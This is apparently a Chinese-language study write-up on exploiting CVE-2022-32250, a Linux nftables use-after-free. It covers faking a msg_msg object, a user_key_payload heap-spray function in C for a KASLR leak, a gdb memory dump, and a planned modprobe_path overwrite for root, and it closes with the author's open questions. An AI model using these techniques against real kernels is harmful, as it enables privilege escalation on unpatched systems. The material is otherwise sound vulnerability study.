如果 uaf 发生,那么就会覆盖 msg_list->next
在下图的黄色区域伪造一个 msg_msg 结构体,这个 msg_msg 结构体会覆盖到下物理相邻的下面一个块。以及因为 copy_to_user()
中有 heap_check,会检查拷贝大小是否超出内存所在slab的大小,所以这里只能读取 data 的 0x10字节。
布置泄露信息的结构体
这个物理相邻的下一个块的内容可以通过 mq_timedreceive
来得知。所以要布置什么结构体呢?
- 目标对象的前8字节需为0:因为
mq_timedreceive
调用会触发执行msg_free
来释放msg_msg.security
,所以目标对象的前 8 字节需要是 0 - 在 0x8 - 0x10 区域需要有一个指针。
还是选择了 user_key_payload 结构体,前8字节
user_key_payload->rcu->next
正常为0,且第2个8字节为user_key_payload->rcu->func
内核函数指针。
这和 RCU 这种机制有关系,RCU 用在数据的删除和回收阶段。所以需要调用 key_revoke 或者 key_update
RCU 机制
关于 RCU 可以查看 What is RCU? – “Read, Copy, Update” — The Linux Kernel documentation。简单来说就是,把数据更新的操作分成删除和回收两个步骤,目的是删除和读取可以同时进行。
- 删除指向数据结构的指针,以便后续读者无法获得对其的引用。
- 等待所有先前的读者完成其 RCU 读取端关键部分。
- 此时,不可能有任何读者持有对该数据结构的引用,因此现在可以安全地回收它
总体流程
- 放置不合法的 expr 随后被 destroy
- 用 posix_msg_tree_node 申请刚刚被 destroy 的块
- 再放置一个不合法的 expr 随后被 destroy,这时候的 binding 触发,
posix_msg_tree_node
结构体的msg_list.next
位置被写上新的 expr + 0x18 的值,新的 expr 随后也被 destroy - 用
user_key_payload
堆喷覆盖最新一次释放的 expr,伪造出来msg_msg
的前8*5
个字节。物理地址相邻的块也被user_key_payload
覆盖,伪造出来security
和需要泄露的data
区域
详细调试过程
问题
代码是
void spray_key_payload_with_attr(uint64_t next, uint64_t prev, int size)
{
char buf[0x40];
char buf_p[0x40] = {0};
*(uint64_t *) (buf_p + 0) = next;
*(uint64_t *) (buf_p + 0x8) = prev;
*(uint64_t *) (buf_p + 0x10) = 0x1122334455667788;
*(int *) (buf_p + 0x18) = size;
for (int i = 0; i < KEY_SPRAY_SIZE; i++) {
memset(buf, key_idx++, 0x8);
key_id[i] = key_alloc(buf, buf_p, 0x20); // description need to be different
}
}
在 gdb 里面是这样,本应该是 rcu 的位置就很奇怪,感觉可能是 key 的分配逻辑不太清楚
pwndbg> x/20gx 0xffff888003b91bc0
0xffff888003b91bc0: 0xffffffff823263e0 0xffff888003b21e00
0xffff888003b91bd0: 0x0000000000000020 0xffff888003b91098
0xffff888003b91be0: 0xffff888003b91098 0x1122334455667788
0xffff888003b91bf0: 0x0000000000000020 0x0000000000000000
0xffff888003b91c00: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff888003b91c10: 0xcccccccccccc0020 0xffff888003b91098
0xffff888003b91c20: 0xffff888003b91098 0x1122334455667788
0xffff888003b91c30: 0x0000000000000020 0xcccccccccccccccc
0xffff888003b91c40: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff888003b91c50: 0xcccccccccccc0020 0xffff888003b91098
构造 msg_msg 的unlink来篡改 modprobe_path
提权
参考
Linux Kernel Exploit (CVE-2022–32250) with mqueue | by Theori Vulnerability Research | Theori BLOG
【kernel exploit】CVE-2022-32250 nftables UAF写漏洞利用 — bsauce
Use-After-Free Vulnerability - CVE-2022-32250 - vsociety
遗留的问题
为什么有写地方是初始化成 0xcc,slub_debug 怎么关掉?
在泄露 kaslr 布置 user_key_payload 的步骤里面有点晕,不太懂怎么布置的…